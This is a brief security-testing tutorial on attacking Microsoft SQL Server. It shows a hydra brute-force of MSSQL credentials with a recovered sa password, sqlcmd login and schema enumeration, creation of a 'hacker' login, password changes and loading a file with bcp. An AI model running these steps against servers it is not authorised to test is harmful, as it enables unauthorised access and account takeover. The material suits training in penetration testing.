Using SQLCMD for Security Testing

Microsoft SQL server runs on TCP/1433 and UDP/1434 and can be access via the command line using the **sqlcmd** tool. We can identify Microsoft SQL servers using tools such as **nmap** and **sqlping**. In order to use **sqlcmd** we will require a valid username and password for the database. We can use hydra to brute-force a valid username and password, as follows:

```
└─$ hydra -L user.txt -P pass.txt mssql://172.16.2.101
. . . . . .
[DATA] attacking mssql://172.16.2.101:1433/
[1433][mssql] host: 172.16.2.101   login: sa   password: QwErTy1234
1 of 1 target successfully completed, 1 valid password found
$
```

Once we have identified a valid username and password then we can start to use tools such as **sqlcmd** and **Microsoft SQL Server Management Studio** to connect to the database and execute SQL commands.

```
C:\Windows\System32>sqlcmd -?
Microsoft (R) SQL Server Command Line Tool
Version 11.0.2100.60 NT x64
Copyright (c) 2012 Microsoft. All rights reserved.
usage: Sqlcmd      [-U login id]     [-P password] [-Q "cmdline query" and exit]
  [-S server]      [-H hostname]     [-d use database name]
. . . . . .
C:\Windows\System32>
```

To list all databases a available in a Microsoft SQL server instance we can use the following:

```
C:\Windows\System32>sqlcmd -S 172.16.2.101 -U sa -P QwErTy1234
1> select database_id, name from sys.databases;
2> go
database_id name
----------- --------------------------------------------
          1 master
. . . . . .
1>
```

Then to use a database we can use the use command as follows:

```
1> USE master;
2> go
Changed database context to 'master'.
1>
```

To list tables names and column names in a database once we have selected it then we can use the following command. Once we have this information, we can start to query the relations using standard SQL commands.

```
1> USE master
2> select * from information_schema.columns;
3> go
```

We can also create a data username and alter an existing using password with the following commands.

```
1> CREATE LOGIN hacker WITH PASSWORD = 'QwErTy1234';
2> go
```

Or we can alter a user's password with the following command.

```
1> ALTER LOGIN hacker WITH PASSWORD = '1234QwErTy';
2> go
```

We can also use the bulk copy command (BCP) to load a file into a relation/table. Once we have done this, we can then use the standard SQL commands to retrieve the data from the relation/table. Remember that we first need to create a table to insert the data into.

```
1> CREATE TABLE mydatatable (Data varchar(1024), );
2> go
3> exit
C:\Windows\system32>bcp mydatatable IN D:\Data\data.txt
```